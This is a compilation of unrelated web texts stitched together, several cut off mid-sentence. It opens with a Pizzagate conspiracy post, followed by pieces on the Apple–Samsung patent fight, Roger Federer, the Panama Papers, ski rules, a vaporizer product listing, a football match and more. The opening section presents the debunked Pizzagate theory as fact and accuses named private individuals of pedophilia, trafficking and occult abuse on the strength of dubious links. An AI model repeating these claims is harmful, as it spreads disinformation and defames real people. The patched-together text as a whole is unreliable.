https://sli.mg/xyr8rb https://sli.mg/5MiBUM https://sli.mg/DQUzon
Sound crazy? Yes.
Still, DNC personnel admitted on video their process for hiring agent provocateurs in the Project Veritas videos. While the videos were attacked for possibly being edited, mainstream media never bothered to explain why these people were able to be tracked down the the DNC leaks, where they were paid and given cell phones. Later, Scott Foval had a breakdown on Twitter, admitting that Pizzagate was real and providing inside information that the same agent provocateur tactics were used in the Black Lives Matter movement.
https://sli.mg/eo6odk https://sli.mg/yl7mWC https://sli.mg/6IfJae
Scott Foval offered up the fact that the signs were the same across movements as evidence. These facts are disturbing, but the mainstream media continues to ignore this pattern of behavior.
https://sli.mg/MEh0jN https://sli.mg/EuXne3 https://sli.mg/mK2qpV
The mainstream media has also ignored some very important facts about Pizzagate.
In the social circle surrounding Pizzagate, there are a number of known pedophiles and human traffickers. Jeffrey Epstein. Dennis Hastert. Christopher Kloman. Terry Bean. Laura Silsby. Richard Harding (lobbyist who live 3 blocks from Comet Ping Pong).etc.
http://lawnewz.com/high-profile/the-shameful-way-feds-protected-convicted-pedophile-billionaire-jeffrey-epstein/
http://www.usatoday.com/story/opinion/2014/11/20/kiah-lawson-terry-bean-human-rights-campaign-gay-sex-obama-prison-column/70021560/
http://truthfeed.com/breaking-clinton-foundation-tied-to-convicted-child-trafficker-laura-silsby-media-silent/34146/ http://yournewswire.com/wikileaks-podesta-support-pedophile/
https://www.washingtonpost.com/local/crime/former-potomac-school-teacher-to-be-sentenced-in-decades-old-molestations/2013/10/17/b41ba620-3743-11e3-80c6-7e6dd8d22d8f_story.html?utm_term=.ac5c8fcc2a0f
The pizza code has yet to be explained. "Shipping pizza internationally," "pizza related map," "playing dominos with cheese or pasta," "splitting a slice of pizza among 12 people," and other similar codes were in the leaks, and the mainstream news has not bothered to explain what these codes are. Until the people get an answer, don't expect this issue to go away.
http://yournewswire.com/wikileaks-pedophile-code-words-podesta/
https://sli.mg/QJOkeH https://sli.mg/yBtCXl https://sli.mg/BuvN7X
James Alefantis' Instagram is disturbing, which features pizza combined with occult symbols and known pedophilic symbols, large amounts of cash, homemade child sized coffins, encouragement of prostitution, underground digging, and babies. Mr. Alefantis was already caught changing his story about a basement underneath Comet Ping Pong and his involvement and fascination with underground tunnels. https://sli.mg/a/gaffhM
It even appears that the entire block was handed out for free to James Alefantis and others through Saudi Arabian contacts. https://sli.mg/lsGOEp
Amanda Kleinman of the band "Heavy Breathing" has equally disturbing material and was also caught changing her story regarding her relationship with this circle of people and the social media rabbit hole lead to even more disturbing imagery and, yes, confirmed pedophilia.
Kevin Reynolds, "infant masseuse" features pictures of himself with Bill Clinton on his websites, an infant massage business, a babysitting business and a "vacation concierge" business. Hidden on his sites were pictures of cheese pizza and himself with naked little girls who had disturbing marks on them. Mr. Kevin Reynolds also featured himself publicly in a picture, from behind, where he is masturbating into a lake. https://sli.mg/qHo3V4
http://easthamptonbabysitters.com/ https://archive.is/O1syP
http://vacationconciergeservice.com/about_vacation_concierge_service.html https://archive.is/X5SxI
http://kevinreynoldsmassage.com/ https://archive.is/kD0hP
People are rightly offended by this satanic and occult "art" because it is offensive on a variety of levels.The mainstream news will not show pictures of this "art" nor will they mention Marina Abramovic and her "spirit cooking", where satanic spells are painted with blood on the walls. https://sli.mg/nrupF4 https://sli.mg/5tqDrg https://sli.mg/WwPVXJ
There is a greater problem, though, that informs the Pizzagate situation. There have been notorious cover ups before, with massive amounts of censorship involved. The Jimmy Savile Scandal, The Franklin Scandal, the Dutroux Affair, the Pace Memorandum all include child witnesses who could describe places that would have been impossible unless they were telling the truth. The tunnels under the White House, the dungeon under Dutroux's house, and the secret altar room under the Mormon temple in Salt Lake.
http://www.express.co.uk/news/uk/370439/Jimmy-Savile-was-part-of-satanic-ring https://archive.is/rQIHb
http://www.thepeopleshistory.net/2014/03/the-franklin-scandal-elite-child-abuse.html https://archive.is/W2otT
https://isgp-studies.com/belgian-x-dossiers-of-the-dutroux-affair https://archive.is/kv44f
http://www.deseretnews.com/article/190191/CHURCH-EVALUATING-REPORTS-OF-SATANIC-CULTS-IN-UTAH.html?pg=all https://archive.is/4SyIW
According to a study of 2,709 members of the American Psychological Association; it was found that 30 percent had seen cases of ritual or related abuse and 93% of the professionals were “certain” that ritualized abuse occurred. In 1992, a survey of the membership of the ISSTD, Nancy Perry concluded that 88% of 1185 |
Koh wants hard evidence of Samsung causing detrimental harm to Apple’s business, not minor complaints about design copies.
You can judge for yourself how detrimental the infringement of these four patents is, but to me, the entire war is kind of pointless. This should not be confused with naïveté, because I believe in intellectual property and an entity’s right to protect theirs. But fighting over ‘slide-to-unlock’ patents? If every mobile or technological company reserves a patent on every minor innovation, then where do we leave room for competition and peer improvements?
The first patent of the four, ‘the data tapping’ patent, refers to the linking of a text (such as a phone number or email address) within one application to create an easy and quick transfer into another application. For example, if someone sends you a phone number via email, that phone number is often highlighted in some way so that you can click on it and automatically call that number. The second patent Apple is disputing is about a "universal interface for retrieval of information in a computer system." Have you ever noticed your smartphone recommending specific results when you’re searching for a bar, for instance? Well, that’s the Siri way of Internet searching, which customizes itself to knowing your preferences over time. The ‘slide-to-unlock’ patent is the third one, which is self explanatory. And the final patent is the word completion patent, which is also self explanatory as it simply refers to the times your smartphone completes words for you as you begin to type them.
Apple wants Samsung to stop the sales of their Android 4.0 because it “steals” intellectual property. Steve Jobs, the CEO of Apple, said in the past that he was "going to destroy Android, because it's a stolen product,” and also firmly stated, “I'm willing to go thermonuclear war on this." Many Android 4.0 lovers and owners have expressed their concerns about what this means for them: no smartphone user wants to have to downgrade their device to a less advanced software.
Even more significant, Apple’s successful enforcement of the Siri style Internet search patent will change all the rules for Google’s future gameplan. After announcing its acquisition of Motorola and standing by Motorola’s harsh regulations, Google is no ally of Apple’s. Hence, Apple would be more than happy to counterpose harsh regulations onto Google and its infamous search engine.
One frightening aspect of all of this is that US judges are beginning to gain a reputation of not protecting intellectual property as effectively as European, especially German, courts. So who’s to say Judge Koh is not going to tap that gavel and condemn Samsung in the name of intellectual property? If you’re a tech-geek, then you know that there are many ways to work around another company’s patents in order to avoid legal problems, while still creating a very similarly functioning software. That brings me back to my point of this being a senseless war. Companies are not going to stand by and watch one company take over the entire industry; nor are they going to pay billions of dollars to have access to one relatively tiny patent which they can work around. Simply, both Apple and Samsung need to tread lightly around these matters, otherwise the most important party is going to start getting negatively affected -- the consumers.Severin Lüthi talked about the future of Roger Federer in a preview of Teleclub, an interview that will be published on 31st August 2016, as reported by our collegues of puntodebreak.com.
Roger had presented the Laver Cup in New York on Wednesday, and the Swiss Davis Cup captain confirmed why Federer decided to withdraw until the end of the season. Luthi confirmed that Roger will not play more in 2016, as he wants to recover 100% from his knee injury before planning other tournaments.
"Roger will not play any tournaments in the rest of the year. However, he still wants to play tennis for two or three years," said Luthi. From New York, Federer talked also about his injury and mentioned, "I never had any pain.
The problem was instability. And then it started to swell, and so I was not able to compete at the highest level. For this, I think, it was a bit frustrating. At least if I had pain, or if the MRI had shown what the problem was, then I think it would have been easier to make a decision." He then continued, "I really hope I´m not being misled by the knee that it doesn´t feel painful.
But it´s just not 100 percent. That´s why I just think the beating that I got in Wimbledon and the clay court season was just so complicated. At a meeting with doctors and trainers, Everybody said, `You need a break - right now.'" The 17-time Grand Slam champion's focused on returning back strongly next year.
About which, he particularly mentioned, "I don´t see it as the end of something. I see it as a beginning to something I´m working for, and when I come back at the Hopman Cup and then at the Australian Open that´s what I´m working for now." ALSO READ: Flavia Pennetta expresses her solidarity with those affected by the earthquake in ItalyThe big news this week among people who pay attention to Big News is the leak of The Panama Papers, a massive archive of 11.5 million financial and legal documents uncovered by the International Consortium Of Investigative Journalists that—to put it in the most reductive terms possible—details how rich people hide their money in offshore accounts so they can avoid taxes and the occasional ex-spouse. (Or launder dirty money, if you happen to be a big-time criminal. Offshore accounts don’t judge.) And while the accounts aren’t illegal, the leak basically confirms everything the rest of us have always suspected about the essential selfishness of the one percent (or.01 percent). In other words, Bernie Sanders must be livid right now.
The prime minister of Iceland has already resigned over the discovery of a shady offshore shell company he signed over to his wife in 2009, and powerful world political leaders—including associates of Vladimir Putin—are implicated in the leak. But we don’t really report on world political leaders here at The A.V. Club, unless it’s in the context of their close personal friendship with Steven Seagal.
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But it is within our purview to inform you that Jackie Chan, friend to all and the closest thing to a real-life superhero we have (seriously, the man is indestructible), has at least six offshore companies managed by Mossack Fonseca, the Panamanian law firm from which the documents originated. And for Bollywood fans, there’s the revelation that beloved movie patriarch Amitabh Bachchan holds four offshore companies in the British Virgin Islands. And Spanish director Pedro Almodovar canceled a round of interviews and screenings for his new movie, Julieta, today, after it was revealed that his brother had funneled money, presumably from the director’s early successes like Tie Me Up! Tie Me Down!, into an offshore company in the early ’90s. The Almodovar brothers closed their offshore company in 1994.
[via Time]With less than 100 sleeps to go until the start of the FIS Alpine Skiing World Cup season, the teams have been working hard in the gym and on snow. The men’s tech team will face one of the bigger changes this season with the reintroduction of 30-meter radius giant slalom skis, compared to previous season’s 35-meter radius skis.
A controversial change to the size of men’s giant slalom skis by FIS five years ago has been partially reversed for the 2017-18 World Cup season, kicking off in Soelden, Austria, in October. Initially, the change was introduced to prevent injuries. Now, FIS is reverting to the original radius to the delight of the Canadian men’s tech team.
“It turns sharper, turns easier, turns in a tighter circle,” Calgary’s Trevor Philp explained after his first on-snow camp in Italy earlier this summer.
“There will be a lot more flair to the sport,” said Phil Brown, overall NorAm Cup 2017 giant slalom champion. “With the old skis, if the snow conditions weren’t perfect they were nearly impossible to ski on and it looked horrible. In the end, that’s what we’re after in all sports, is viewers and popularity. If the sport doesn’t look interesting or fun, why would people watch?”
Philp, Brown, Dustin Cook and Morgan Megarry have all had a chance to test and run the new skis this summer and say the adjustment to their new skis has been easier than the transition to the giant slalom skis of five years ago. With one on-snow camp completed in Italy, and a second well underway in Switzerland, the men are racking up miles on the new boards seeing positive changes in their skiing.
Dustin Cook joined the team for their first camp in Livigno, Italy, and fell into form after a few runs.
“Even though they’re a lot easier to turn, it’s completely different tactically and the way you ski on them is different,” Cook said. “The first couple days were kind of ugly, but now that I’ve skied five and the other guys have skied six days on them, the change is a lot easier than going the other way. Now that we’ve kind of figured them out, it’s a lot more fun. It’s a lot less work and it looks a lot better. It makes GS skiing look a lot prettier than it did the last bunch of years.”
Brown believes the change will allow for more creative course sets for the men. The Canadians say it will also make giant slalom easier for younger skiers breaking into the higher ranks of racing.
“It’s going to be great for the younger generation, the kids entering FIS races,” Philp said. “It was tough on them. You had World Cup skiers struggling with these new 35-meter skis. Those are the top guys in the world. In all sports, there’s going to be regulations that are changing, for better or for worse. I guess we are guinea pigs, but in the end we’re the product for the business of ski racing. We have to work with whatever is put in front of us and figure out the best way possible to ski on it. It’s the job we sign up for.”
Not only are the athletes excited about the change, the leadership and coaching staff are also seeing some promise for the young team.
We caught up with Martin Rufener, alpine’s athletic director, to see how he feels the new skis will affect the Canadian tech athletes.
“What’s old is new again,” Rufener said. “Athletes with the greatest power and confidence will have the most success with the 30-meter radius skis, as they will have the ability to power through the turn, even after the gate, resulting in a tighter and faster line. We are very happy about this change, not only for our World Cup and Development Team athletes, but also for the younger provincial and club level racers. The 30-meter radius skis are much easier to turn, which should help to reduce back injuries and issues many athletes experienced with the 35-meter radius skis.”
New to the men’s tech team is Ryan Malmberg, filling the position of assistant coach. Joining Alpine Canada from Mont Sainte Marie, where he was the Program Director and Head Coach, Malmberg brings over 10 years of experience to the organization. He has already joined the team for multiple on-snow camps.
“We had a very productive spring training camp in Italy where we were able to slightly reduce the intensity to revisit the fundamentals and get some quality mileage on the new 30-meter radius giant slalom skis,” said Malmberg. “This group had some very respectful flashes of success on the World Cup last season and we think some of the changes we have already seen in this summer’s training can bring more consistency to day-to-day training and that added discipline will help the guys find another gear of speed. With the change in radius to the GS skis, there is a bit of uncertainty around how this might impact the GS standings and we are looking to capitalize on the change.”
The team is looking ahead to the first race of the season, which also marks the start of the Olympic season.
Release courtesy of Alpine Canadachicagocubsfan said: Scans are floating out there of this and also the official box arts. The Last DLC costumes are bonuses for the Day One edition. Click to expand...
Kaguya is a surprise but since we already knew we were getting Movie Naruto, also getting the kids is kind of expected at this point.I mean it is the last Ninja Storm game, CC2 are going to do their best to make this the definitive game for Naruto.I heard somewhere they have the entire goddamn series as the story this time, which is kind of nuts, but given how they already did the whole story in parts with each Ninja Storm game, it wouldn't be too insane to rip all that out of the previous games and touch it up for 4, since they used the same assets and engine for every UNS game.I love piñatas. There’s something really satisfying about smashing a
colorful sculpture to pieces as heaps of candy scatter everywhere. It’s been years since I’ve been to a party where a piñata was the highlight so this year, I’m determined to incorporate it into my Cinco de Mayo festivities. Although a piñata is not the easiest thing to make from scratch, I will say that the process was so much fun – I can’t wait to make more!
You’ll need:
Please note: I worked hard on making this instructable. The links are
Amazon affiliate links, so if you are planning on making your own and are going to buy the materials, please do through my links so I can afford to buy more materials myself and keep creating these instructables! Thanks you so much and God bless!Via the Economist, we see this intriguing histogram of Global GDP (below)
The Economist notes:
“Data compiled by Angus Maddison, an economist who died earlier this year, suggest that China and India were the biggest economies in the world for almost all of the past 2000 years.”
But then asks a really silly question:
“Why they fell so far behind may be more of a mystery than why they are currently flourishing.”
They were the biggest economies because they had a the biggest populations, and up until 200 years ago, population size was a dominant factor in economic output.
Once the industrial revolution came along, followed by the information revolution, mere size mattered less. First the Europeans, then the Americans leveraged technology to blow out GDP on a per capita basis. Steam engine, internal combustion engine, silicon makes up for size.
Now, India and China are using industrial leverage, and are moving up in the world on a GDP per capita basis.
Now >
Hat tip Chart Porn
~~~
UPDATE: I see that Paul points to a gigantic Excel table, if you want to play with numbers yourself.As I promised in a previous post, Winds of Trade now has colonies! Yes, finally your company can use the political and economical leverage to found new settlements in order to exploit natural resources. You can then create your very own supply chains in order to control the market.
Choose which of the goods your colony produces you want to sell to your competitors!
Several changes to improve the overall user experience. The most important one was switching the font to one that's a lot more readable, especially in small screen sizes.
The new font is lovely!
New procedurally generated rocks in the ocean. These new obstacles add some variety to the generated worlds and force your ships to take different routes in order to avoid them.
This new version rocks! Sorry, I will see myself out...
Coming soon: a new ship type (the frigate), new music and some more improvements to the economic simulation! :D
Version 0.6 is almost here and some very exciting things have been taking place lately. Some of the most interesting changes the game has suffered in these past few weeks are:[dropcap size=big]I[/dropcap]t’s time to put on the metal records kids, because today we’re talking about Tormentum: Dark Sorrow, a dark horror adventure game that looks like the illegitimate child of Metallica and H.R. Giger. The project was funded between June 2nd and August 1st 2014, raking in $11.5k over its original $9k goal. The story begins when the game’s protagonist awakens to find he is being flown through the skies in a cage by a flying machine. He is dressed in rags, and cannot remember who he is or where he comes from. A talking rat in a cage next to his informs him that he has been kidnapped by strange armored beings who reside in a castle. Apparently these beings seek to purify evil people through suffering. Naturally, our protagonist isn’t interested in their idea of purification, and so begins his nightmarish adventure…
The world of Tormentum created by studio OhNoo is visceral, beautiful, and deliciously unsettling. As it is an adventure game, it doesn’t rely on the typical jump scares you might find with other dark, horror-themed games. Honestly, it doesn’t have to. Tormentum’s gorgeous artwork, gloomy atmospheric music, and dark surrealist fantasy designs are impressive, effective, and just downright spooky. Not to mention occasionally graphic. Be warned, this game isn’t just some Hot Topic emo trip. There are genuinely disturbing sights to be seen in the game, and if you are put off by such violent and tragic things, this title simply isn’t for you.
I was delighted to learn that Tormentum wasn’t just about its visuals and atmosphere—it has genuinely solid gameplay. It isn’t perfect, however. For hardcore adventure fans, the puzzles won’t prove much of a challenge 90% of the time, but rest assured there are a few that will have you scratching your heads. That said, this game isn’t long. It took me under six hours to beat this, give or take. At first, I thought this was a negative point for it, but as I was going through it, I realized that, while I was enjoying the devastatingly fascinating world of Tormentum: Dark Sorrow, I wasn’t entirely sure how OhNoo could make the game longer without losing that atmospheric appeal. Sometimes, it’s about striking a good balance.
One major aspect of the game are the moral choices you can make as you make your journey. You can condemn, kill, and steal from others. Or you can be a goody-two-shoes and be kind, forgiving, and honest. The great thing about this morality is that the game leaves you to constantly question your choices. Did you do the right thing? Well did you? Because just about every choice in the game is steep with consequences that ultimately decide the sort of ending you have. People are never as they appear in Tormentum: Dark Sorrow, and like any good morality-system in a game, OhNoo doesn’t allow you the benefit of feeling entirely certain of your choices.
Tormentum: Dark Sorrow is a macabre journey that forces you to evaluate just what evil is, and whether or not redemption is possible…and I love it to bloody bits for it. If you want something dark and haunting, Tormentum: Dark Sorrow is certainly the game to get!
Struggling to get through Tormentum: Dark Sorrow yourself? Then be sure to check out our Tormentum: Dark Sorrow Game Guide. It’s got everything you need to get through this creepy adventure.Greater Nippertown’s alternative newsweekly Metroland published its final print issue on October 29, 2015. And shortly thereafter it pulled the plug on its website as well.
Now the Alt, a new publication, seems poised to takes its place. The new weekly is currently in development, with The Daily Gazette, Overit and Proctors collaborating on the new venture.
The press release sent out today (Tuesday, July 12) provides few details but describes the Alt as “a new arts and culture weekly” which will offer “in-depth coverage of arts, culture, politics, lifestyles and trending news along with a comprehensive community calendar in print, desktop and mobile formats.” And Daily Gazette publisher John DeAugustine hails the Alt as a “wonderful arts and entertainment project.”
Post continues below...
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According to a report in The Daily Gazette, about 25,000 copies of the Alt will be printed each week, which will be distributed to 300 locations in Albany, Rensselaer, Saratoga and Schenectady counties. It will be free.
The Alt expects to hire one editor, one digital editor and one reporter and sales people in the next month and launch the newspaper in the fall.
Stay tuned for further details as they develop…From driving cars to beating chess masters at their own game, computers are already performing incredible feats.
And artificial intelligence is quickly advancing, allowing computers to learn from experience without the need for human input.
But scientists are concerned that computers are already overtaking us in their abilities, raising the prospect that we could lose control of them altogether.
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Scientists are concerned that computers are already overtaking us in their abilities, raising the prospect that we could lose control of them altogether. Pictured is the Terminator film, in which robots take over - a prospect that could soon become a reality
ROBOT TAKEOVER A recent report by PwC found that four in 10 jobs are at risk of being replaced by robots. The report also found that 38 per cent of US jobs will be replaced by robots and artificial intelligence by the early 2030s. The analysis revealed that 61 per cent of financial services jobs are at risk of a robot takeover. This is compared to 30 per cent of UK jobs, 35 per cent of Germany and 21 per cent in Japan.
Last year, a driverless car took to the streets of New Jersey, which ran without any human intervention.
The car, created by Nvidia, could make its own decisions after watching how humans learned how to drive.
But despite creating the car, Nvidia admitted that it wasn't sure how the car was able to learn in this way, according to MIT Technology Review.
The car's underlying technology was 'deep learning' – a powerful tool based on the neural layout of the human brain.
Deep learning is used in a range of technologies, including tagging your friends on social media, and allowing Siri to answer questions.
The system is also being used by the military, which hopes to use deep learning to steer ships, destroy targets and control deadly drones.
There is also hope that deep learning could be used in medicine to diagnose rare diseases.
But if its creators lose control of the system, we're in big trouble, experts claim.
Speaking to MIT Technology Review, Professor Tommi Jaakkola, who works on applications of deep learning, said: 'If you had a very small neural network [deep learning algorithm], you might be able to understand it.'
'But once it becomes very large, and it has thousands of units per layer and maybe hundreds of layers, then it becomes quite un-understandable.'
This is concerning, considering deep learning could soon be used to control deadly military weapons, and cars.
In a recent study, a computer was tasked with predicting disease by analysing patient records.
The findings are concerning, considering deep learning could soon be used to control deadly military weapons, and cars (stock image)
Results showed that the computer was extremely accurate in diagnosing schizophrenia – but even its creators did not know why.
Dr Joel Dudley, who lead the project at New York's Mount Sinai Hospital, said: 'We can build these models, but we don't know how they work.'
In the hopes of staying in control of these powerful systems, many of the world's largest technology firms created an 'AI ethics board' in 2016.
Researchers with Alphabet, Amazon, Facebook, IBM, and Microsoft teamed up to create the new group, known as the Partnership on Artificial Intelligence to Benefit People and Society, to develop a standard of ethics for the development of AI.Chuck Is Getting Kicked Off Of Netflix By Nick Venable Random Article Blend Netflix is currently killing it in the "bringing in billions of dollars" department, with its original programming slate wowing audiences the world over. But things aren't looking so lovely for its licensed TV library (or its film library for that matter), and when November rolls around, the streaming service is calling Chuck to its office via intercom and it's giving the action comedy a pink slip. Which means you'd better get to streaming it quickly if you're still not done. Running for five seasons from 2007-2012, Chuck gave Zachery Levi and Yvonne Strahovski some much-deserved room in the primetime spotlight on NBC. By mixing the worlds of the nerdish everyman with CIA adventures, creators Josh Schwartz and Chris Fedak was unlike anything else on broadcast networks, and it built up quite a following both while it was on the air and in the years since its final season. In fact, fans started up something of a social media campaign to try to get Netflix to reverse its planning to eliminate Chuck from the library. The hashtag "#SaveChuckAgain" rose up on Twitter earlier this month after it was first made clear Netflix was looking to excise Chuck, and while mass fandoms generally don't have much to do with how Netflix's deals are made with studios and other companies, that didn't stop some of the show's stars from joining in on the pleading. Here's the tech store badass himself, or at least the guy who played him. Hey @Netflix, please donâ??t take â??Chuckâ? off of your amazing service on November 1st.
Sincerely, Me.#SaveChuckAgain#Please??? — Zachary Levi (@ZacharyLevi) October 5, 2016 Yvonne Strahovski also got in on it, and while there have been sub-miracles that have happened when it comes to what Netflix can and cannot do with the shows it gives subscribers, it appears not even Chuck and Sarah's combined efforts could do anything to stop Chuck's departure. Woe are we. Thankfully, there are a lot of other things for you to watch on Netflix after Chuck says farewell and thanks for shopping. November is bringing in a slew of hopefully top notch original shows to streaming customers, including the first seasons of the super-expensive royal drama The Crown, the long-awaited return of Gilmore Girls for its four-episode revival, the Brazillian thriller 3%, the Kevin James film True Memoirs of an International Assassin, a Dana Carvey comedy special and way more. So remember, you have 11 days or so to take in all the spying and customer service you can handle before Chuck leaves Netflix possibly forever on Tuesday, November 1. You also won't be able to see Powerpuff Girls' six seasons, the British Shameless, or the three Open Season movies, to name a few. Everything Coming to Disney's Streaming Service in 2019 Blended From Around The Web Facebook
Back to topPAX 3 Vaporizer - Complete Kit
The PAX 3 is the newest generation of portable vaporizers from PAX. With a new and improved heating system, battery, and the addition of haptic feedback, PAX Labs really nailed it with this smarter, faster, stronger upgrade from the legendary PAX 2. The PAX 3 also works with a mobile app, allowing you to dial those settings in for the ultimate vaping experience. Also incudled is the PAX Concentrate Attachment, allowing you to load your own concentrated materials. Another great addition to the PAX 3 is the brand new half pack oven, enabling you to scale back a bit for some smaller sessions.
State Of The Art Heating Technology
The PAX 3 dual-use vaporizer utilizes 4 pre-set temperature settings of 360F, 380F, 400F, and 420F. Easily toggle through each temperature by simply clicking the control button located at the top of the vaporizer. Additionally, the PAX 3 features four innovative heat settings. Boost Mode - Heat is maintained between sessions, preventing any cooling from occurring. This setting is idea for waxy oils that require hotter temperatures for to be properly vaporized. Efficiency Mode - Temperatures increase gradually during your vaping session, allowing different flavor notes, aromas, and effect to be released throughout the process. Stealth Mode - Minimizes excessive odors by quickly cooling down after each puff. Flavor Mode - Heating is only activated while you take a hit, allowing the fullest aromas and flavors to be released. The PAX 3 features bluetooth compatibility, allowing for complete and total customization down to the exact degree. Dial in your ideal temperature to take your vaping experience to the next level.
Features
Classy And Sleek, High-Polish Anodized Aluminium Construction
Powerful And Long Lasting3500 mAh Battery
15 Second Rapid Heat Time
Pre-Programed Efficiency Mode Provides Gradual Heating
Enabled With Bluetooth App Capability
Dual Use Vaporizer Compatible With Dry Herb And Waxy Oils
Advanced Haptic Feedback System
Made From High Quality Medical-Grade Materials
10 Year Warranty Included
What's Included?
PAX 3 Vaporizer
Pax Maintenance Kit
Charging Cable And Charging Dock
2 Mouthpieces
Raised Mouthpiece | Flat Mouthpiece
3 Replacement Screens | COMPLETE KIT ONLY
Half-pack Oven Lid | COMPLETE KIT ONLY
Multi-tool | COMPLETE KIT ONLY
Travel Case | COMPLETE KIT ONLY
Concentrate Insert | COMPLETE KIT ONLY
10 Year Warranty
Choose From
Silver | Black | Teal | Rose Gold
*PAX 3 Vaporizer is not compatible with PAX Era Pods. The 710 Source does not sell the PAX Era or Pax Era Accessories online.
PAX 3 TEN YEAR LTD WARRANTY
VaporNation
support@vapornation.com
PAX Labs, Inc. (PAX Labs) warrants the PAX 3 devices (not its accessories or batteries) against defects in materials and workmanship under normal use for a period of ten (10) years from the date of retail purchase by the original end-user purchaser (Warranty Period), in accordance with and subject to all the terms of this Limited Warranty. If a physical defect arises and a claim is received within the Warranty Period, PAX Labs will, at its option, either (1) repair the device defect or (2) exchange the device for a new one. Please see our Return for Refund Policy below for our policy on refunds. EXCEPT AS STATED HEREIN, PAX LABS MAKES NO OTHER EXPRESS WARRANTY.
EXCLUSIONS AND LIMITATIONS
This Limited Warranty is limited to PAX 3 devices manufactured by PAX Labs and sold in the United States or Canada and that can be identified by the “PAX” trademark, trade name, or logo affixed to them. This Limited Warranty does not apply to any non-PAX Labs products or any PAX Labs products other than PAX 3. This Limited Warranty applies to the original end-user purchaser only and is non-transferable. This Limited Warranty applies only to devices purchased directly from PAX Labs or from any authorized PAX retailer and, without limiting the foregoing, does not apply to devices purchased at auction or consumer resale sites such as eBay or Craigslist (even if the devices are unused). Please visit www.paxvapor.com for a list of authorized PAX retailers. This Limited Warranty does not apply to (a) damage caused by accident, abuse, misuse, flood, fire, earthquake, or other external causes; (b) damage caused by the device being exposed to or coming in contact with moisture (e.g. liquids, water, rain, extreme humidity, unusually heavy perspiration or other moisture), or extreme thermal or environmental conditions (e.g. sand, food, dirt or similar substances); (c) damage caused by operating the device outside the permitted or intended use as described by PAX Labs; (d) damage caused by concentrates, the concentrate adapter (Pax 3 only) or waxes; (e) a device or part that has been modified to alter functionality or capability; (f) damage attributable to accessories or attachments (i) not authorized or recommended by PAX Labs or (ii) authorized or recommended by PAX Labs but where usage thereof was outside of normal or recommended use; (g) cosmetic damage, including but not limited to scratches, dents, and broken plastic or (h) any device where the serial number has been tampered with, erased or obscured or is not genuine. Notwithstanding anything to the contrary herein, this Limited Warranty does not cover device accessories or attachments, whether or not authorized or recommended by PAX Labs, or normal performance degradation of batteries or neglecting to adhere to cleaning instructions. Please contact the PAX Support team, the PAX Pro’s, to learn more about our PAX Battery Service. Opening-up, disassembling or tampering with your device in any way will void your warranty.
DISCLAIMERS
In no event, shall PAX Labs be liable for monetary damages or other losses arising from any device defect or failure, including, but not limited to, for any loss of use, time or for any inconvenience or for any incidental or consequential damages. ALL IMPLIED WARRANTIES, INCLUDING WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, ARE LIMITED IN DURATION TO THE LENGTH OF THIS LIMITED WARRANTY. SOME STATES AND/OR PROVINCES DO NOT ALLOW LIMITATIONS ON HOW LONG AN IMPLIED WARRANTY LASTS AND/OR DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THE ABOVE LIMITATIONS OR EXCLUSIONS MAY NOT APPLY TO YOU. THIS LIMITED WARRANTY GIVES YOU SPECIFIC LEGAL RIGHTS, AND YOU MAY ALSO HAVE OTHER RIGHTS WHICH VARY FROM STATE TO STATE AND PROVINCE TO PROVINCE. PAX Labs neither makes or assumes and does not authorize any other person, including any PAX authorized retailer, to make or assume any obligation or liability in connection with any of its devices other than as covered by this Limited Warranty.
RETURN FOR REFUND POLICY
Please carefully research the product you are interested in before purchasing. Refunds are only available for new and unused devices purchased on www.paxvapor.com and must be returned directly to PAX Labs within fourteen (14) days of receipt. If the tamper proof seal is broken, a refund cannot be honored. Devices purchased through an authorized PAX retailer cannot be refunded by PAX Labs; any such refunds must be obtained from the authorized retailer from whom you purchased the device. If you would like additional information about any of our PAX Labs products, freely contact us. The PAX Pro's are happy to help you make the right decision!
OBTAINING WARRANTY SERVICE
To obtain service under this Limited Warranty, the original purchaser must do the following:QPR's automatic promotion hopes took another blow as they were beaten by relegation battlers Charlton.
Johnnie Jackson headed in a stoppage-time winner from a tight angle at the far post to secure an Addicks victory.
Earlier on, Ravel Morrison - making his QPR debut after a loan move from West Ham - wasted his side's best chance when he shot wide.
Modibo Maiga also wasted a promising opening for the visitors before Jackson punished those misses with his goal.
Media playback is not supported on this device Post-match: Charlton manager Chris Powell
The winner secured Charlton's first league win since Boxing Day, while QPR have have now lost three games in a row and are seven points off the top two with a game in hand.
Although QPR played the more intricate and neat football in the early stages, it was Charlton who could have gone ahead after 12 minutes.
A long range Jordan Cousins strike struck a post before Reza Ghoochannejhad's follow-up also hit the woodwork.
QPR defender Nedum Onuoha went over in the box under a Michael Morrison challenge, but failed to win a penalty.
Visiting manager Harry Redknapp tried to shake things up by replacing the ineffective Junior Hoilett with on-loan Manchester United youngster Will Keane.
Media playback is not supported on this device Post-match: QPR assistant manager Kevin Bond
Moments later Rangers squandered their best opening when an unmarked Morrison lashed a 14-yard shot well wide.
The visitors passed up another gilt-edged chance when substitute Maiga was gifted the ball by the Yohann Thuram-Ulien.
However, after going around the Charlton goalkeeper, the Rangers substitute lost control and the ball went out of play.
Those misses were compounded after Jackson's last-gasp goal left Charlton a point and a place from safety, with three games on hand over the four teams above them.
Charlton manager Chris Powell:
"This is the benchmark for what is to come over the next 17 games, I will make sure of that.
"One or two things went in our favour, which is about time because we have had many, many things go against us for some while now.
"People look for the captain to lead the team and with John it is his goals. It was apt he scored the goal.
QPR assistant manager Kevin Bond:
"If you start looking at the table mathematically then we don't get beat at Charlton.
"All we can do now is look at Leeds United and look to get back on track. Get back to where we were earlier in season.
"As soon as we start looking at bigger picture and promotion then we could be in trouble. We need to focus on next game and getting a point."Glasgow tower blocks, Wikimedia/Thomas Nugent
Thinking about what a radically different Scottish society would look like is of course key to the ongoing arguments around Scotland’s constitutional future. In this debate questions revolving around inequality, equality, social justice and fairness have come to the fore. The idea of Scotland as a bastion of a collective, egalitarian and socially just political and public culture – not least in comparison to assumed differences with England – a society in which distinctive ‘Scottish values’ are held to shape attitudes to issues around social policy – is one that we need to treat with the upmost caution – but at the same time we cannot ignore the potency of such beliefs. They also help to inform the ensuing debates about social welfare in Scotland – and what a Scottish welfare state might look like – and in no small part also shape claims that such a Scottish welfare system would be considerably less harsh and punitive than that being driven by the current UK Coalition Government.
